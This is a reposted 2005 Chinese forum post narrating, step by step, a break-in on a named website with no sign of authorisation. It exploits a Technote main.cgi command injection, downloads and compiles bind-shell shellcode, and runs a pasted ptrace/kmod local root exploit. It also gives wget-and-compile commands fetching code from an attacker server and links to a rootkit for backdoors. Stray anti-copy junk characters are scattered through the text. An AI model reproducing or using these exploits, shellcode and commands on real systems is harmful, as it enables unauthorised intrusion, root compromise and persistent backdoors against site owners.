数学建模社区-数学中国

标题: 从web漏洞到系统root权限过程全展现 [打印本页]

---

作者: 韩冰    时间: 2005-2-4 23:59
标题: 从web漏洞到系统root权限过程全展现

作者：cnbird

2 s& R5 v2 z& g/ H- l5 c# E

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

. g* X9 k, z5 C6 T9 J7 x; Y

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

, K8 r, ?4 b3 x! P* b

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

; g% Z3 \' _& Z

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

! N) b4 X, K1 A V6 M

个漏洞以WEB进程权限在系统上执行任意命令。

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

数内容，可能以WEB进程权限在系统上执行任意命令。

. X& N: d& { j! F9 f$ h7 F4 b

+ l, z3 A1 n: f- X( i! v给出利用方法

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

" D+ ?( c: L- `9 m* k$ @$ E: X0 t1 b

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

- B8 J7 s8 [8 R/ }4 {

^_^.

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

0 U0 T: ~& ?" ]5 S1 \* R$ J6 s

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

$ _% z* e- ~0 C4 ?/ S

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

) D9 t& p: r1 a, y- ?

结果如图1

大家看到结果了

uid=99(nobody) gid=99(nobody) groups=99(nobody) ( I) x( H$ f) ]4 \1 j下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， . p8 d, c( n9 {: Q5 N0 C2 l我程序的工作 , Y" A' f4 v, b& |8 q( ?界面。如图2

- C1 p& k" F, m# _# [

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

不多，

如图3

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

: o G; Y0 t, c

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

9 T! M& M0 }! a+ _ k# Q4 f

不错，能拿到/etc/passwd。

如图4

6 l# G4 S& G2 [7 _& Q2 z

: [! A5 B6 C+ d* {

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

( F: D" U; M& Y) D* l

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

如图5

$ i, ^5 f2 _- ]. m/ g

, J) h$ n. B! f# h

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

5 J6 J Y' H+ B0 t$ L) ?

This one works fine

i! j. E" X# a

http://rst.void.ru/download/r57phpbb2010.txt

8 ~( U- q# A8 N4 z- Z0 Z c

upload, someth like this

4 m3 ]9 w L/ l# E* b7 y

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

- h' R1 a! x+ d: z# N Z' F

./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

- ]4 Y; i8 N7 Q% k- t

exec on victim hots same shit

and binding shell

( h* o: \5 B6 S1 E* \5 d8 x) C

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

7 F3 u; Q& j; ^5 \. L: U5 p3 Q; n

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

/ N9 C- h0 P4 |7 f' |9 ^/ L

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

$ k7 Q4 n% V; I- I, o/ u

This would be ideal for a system which you didn't have a direct login shell upon.

( c, Y( _8 J6 }8 C9 U2 ?

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) % e" q: S' h3 g' B) I q * * This shellcode binds a shell on port 20000 * * stdin, stdout and stderr are dupped. accept() arguments are sane. */

% k- M. c; v/ @: w5 v3 J f) {5 J

char code[] =

) y" b0 D$ m; Q ]( \4 ^

"\x31\xdb" // xor ebx, ebx / B" f: A+ r; D2 N" v "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx - z( ]4 I6 E% G4 c# z8 t* k1 u1 Q "\x53" // push ebx / Q! ^3 ?) a! j4 S" {/ e D "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp ' Q4 G7 s4 N: p. c/ ~! @7 N "\x4b" // dec ebx ' r$ A2 I) Y. S3 j; c "\xcd\x80" // int 80h # P& a, ]; ~0 I! n1 u# Y( `4 z "\x89\xc7" // mov edi, eax "\x52" // push edx + B0 E9 [# R6 {, o; k) B1 s3 C "\x66\x68\x4e\x20" // push word 8270 0 Y1 P8 B: }. x. e1 j; V "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp 3 j$ I& ]/ r! N) l "\xb0\xef" // mov al, 239 0 {8 Y+ A) i% p$ i "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx ) N+ T3 h+ L# [3 H$ Z$ ^6 r9 @ "\x57" // push edi 1 c# ^) R0 O# L/ X6 p e "\x89\xe1" // mov ecx, esp 6 t0 A1 ?. o, u, k6 \ "\xb0\x66" // mov al, 102 6 H; C* q1 g$ n; o2 k% g "\xcd\x80" // int 80h , u; E, O2 t+ ~5 W7 N2 P2 Z& n "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx + @5 q* T; X% n4 j) E: r3 h "\xcd\x80" // int 80h ) u2 o' n( |; [* `/ O9 B3 L; Z "\x50" // push eax "\x50" // push eax "\x57" // push edi ) R& P B/ }) w. Z- l1 f "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 $ d# C5 S$ ]) h) x! H "\xcd\x80" // int 80h 5 B* k8 o" b) c8 o# Z8 z5 X! e "\x89\xd9" // mov ecx, ebx : j% R+ Y2 |1 f/ |8 X$ X "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx + {% P5 W' |2 v3 \- I "\x53" // push ebx # c; p$ E$ |- ^: A# M! X "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80"; // int 80h

# U' ]0 @& I7 @3 g1 q

* O3 k4 @$ n4 Fmain() { void (*a)() = (void *)code; $ Y2 R; @9 s6 |% I) }' t int i; printf("size: %d bytes\n", strlen(code)); printf("Testing for cntrl characters.. "); 3 ]/ t/ r; D/ e for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); printf("PASSED\n"); ! l* o) \. G- s, Z7 R/ o1 Q$ B a(); } 1 P! X) S! y2 g, ^! F! V6 U 好了我们已经知道该下载地址

---

作者: 韩冰    时间: 2005-2-5 00:00
http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， / U# s" N8 H1 }' A' A7 R就可以用wget这个命令来下载了，输入 wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain & f2 c6 G/ G" ~; v2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs 这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 [www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 12gcc: /usr/bin/gcc 6 w% U- s& `7 w; q好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind , e* u2 h l+ P5 W( `8 A" O2 L5 d编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， ! N. Z# r- f! O" B/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 " b' B4 ~1 G$ n6 h; m2 N& \% I哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" 呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， # w- l ]+ \( ]6 u: B9 jNote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 (nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * Linux kernel ptrace/kmod local root exploit 3 j9 \' `: k0 F8 A" _) q; I* 4 c: T) ~ G$ O1 ^+ w& q* This code exploits a race condition in kernel/kmod.c, which creates U! E; m$ G1 k! g/ o4 {3 p* kernel thread in insecure manner. This bug allows to ptrace cloned - Z# e) o' S& S1 ^+ T* process, allowing to take control over privileged modprobe binary. 0 L) }2 `: Z0 R3 M* * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that . n ?) |5 m0 {- }& J* is (almost) two month before it was fixed and published by Red Hat : i& P' [. S* o* and others. * $ |6 n6 X: s+ |2 X* Wojciech Purczynski <cliph@isec.pl> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* 1 p# N: w4 G# c* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * X6 N! q* I! ~* (c) 2003 Copyright by iSEC Security Research : n0 K/ S6 ]/ {" X1 U*/

#include #include % e7 z g, m: Q* C- l#include : d4 u4 u4 P& E* \#include #include ( ?/ j* V+ r$ a! T#include 1 G' a* G1 X5 O- ~9 E6 E0 p; P#include " m! h! L# }/ u#include 1 j! P1 P. _1 ^" B#include #include #include 5 T7 g% } j. C" B( b#include ; `$ \* ]6 t2 C0 r8 E* A" R* `#include #include + e7 e, j2 \; J) a; K+ y#include - y% o8 K( E4 ?5 A- e. @' s#include

char cliphcode[] = 1 c+ J& C8 }& v+ u; o9 d b"\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" / U6 D6 M* U7 B. [! ~, Z"\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; 5 X, x3 ]- w1 P/ l' Z6 I; ~pid_t child = 1; 9 N# U7 z3 O, w" ppid_t victim = 1; 6 E) o I% r* v' {% R2 u& T1 `volatile int gotchild = 0;

void fatal(char * msg) ' v4 ?, _2 ]$ I# F{ + z" ]% E6 v. o; e" N$ Y7 Gperror(msg); " w* [1 |* Z1 O! ^kill(parent, SIGKILL); : r& c& C. [+ |: r1 m6 ?kill(child, SIGKILL); kill(victim, SIGKILL); }

void putcode(unsigned long * dst) { . v3 J8 b% N" w" ?2 A7 V2 echar buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; 6 W; h% r; u/ tint i, len;

memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; buf[len] = '\0';

src = (unsigned long*) buf; 2 Y- C2 {! [- @" Z6 u- xfor (i = 0; i < len; i += 4) * H) p+ f8 C8 V- `if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); + O3 z9 U; ]. j% Z+ P3 Q}

void sigchld(int signo) { . P# m1 {5 ~2 u$ Lstruct user_regs_struct regs;

if (gotchild++ == 0) # A1 g5 n: U2 B) R3 b; Yreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) 7 W; B' n# ?3 X" }; a8 ofatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim");

exit(0); }

void sigalrm(int signo) % |, _. T0 }, Z{ errno = ECANCELED; 0 E1 q/ F* o9 C2 V% E7 y2 {fatal("[-] Fatal error"); 1 t8 f/ L0 D5 o}

void do_child(void) 4 K6 T$ v) x0 Q! `* [: f{ ( ]$ \ `' {# l& }& Fint err;

child = getpid(); : U) W& A7 h$ t3 lvictim = child + 1;

signal(SIGCHLD, sigchld);

do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);

if (err == -1) 8 N5 |( S {/ t7 u7 R4 gfatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; 2 x0 R2 N9 w, e) {if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); ' }6 x) X( G4 ~4 M4 b9 Y6 H1 ffprintf(stderr, "[+] Waiting for signal\n");

for(;;); $ M% { D) R6 z$ N9 V( ]2 j1 M: E0 F}

void do_parent(char * progname) { 1 n8 J, k5 [8 U, F& Nstruct stat st; 0 v$ f; Y0 J9 |! h% Jint err; errno = 0; ( ^; q* s- D4 b+ i5 u, L9 U) wsocket(AF_SECURITY, SOCK_STREAM, 1); do { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) + _8 {: N( z; ]+ ~0 W: |+ ^3 Cfatal("[-] Unable to stat myself");

alarm(0); system(progname); . K4 {! X) Z! _' Y}

void prepare(void) 7 ] _8 b/ O5 [7 @{ \, a3 V) G' pif (geteuid() == 0) { $ S! n& v: N) c" U4 b" Xinitgroups("root", 0); & b1 Y* ]% h% w; k. b( g% Z2 Csetgid(0); setuid(0); 7 o d2 Q' n# I' z; j0 w! R7 j; }execl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); } / W0 D0 \: N9 E" w% R}

int main(int argc, char ** argv) 9 ]' X4 L! C% u3 e/ o{ ; n& P, @1 f+ g) ]9 i/ p- ]3 vprepare(); : _) [" Y8 q- R6 M; zsignal(SIGALRM, sigalrm); alarm(10);

parent = getpid(); + t/ ~1 W) B F7 C; [4 e. _child = fork(); . Q7 V3 o0 l. n# F2 i4 \victim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) : v" U" ]) }$ G" z; H! fdo_child(); ! q8 p [8 q" M% gelse |" R0 V9 ]) O2 e0 K" {& Ldo_parent(argv[0]);

return 0; " \/ \2 u. X7 F( j}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.

---

欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)

Powered by Discuz! X2.5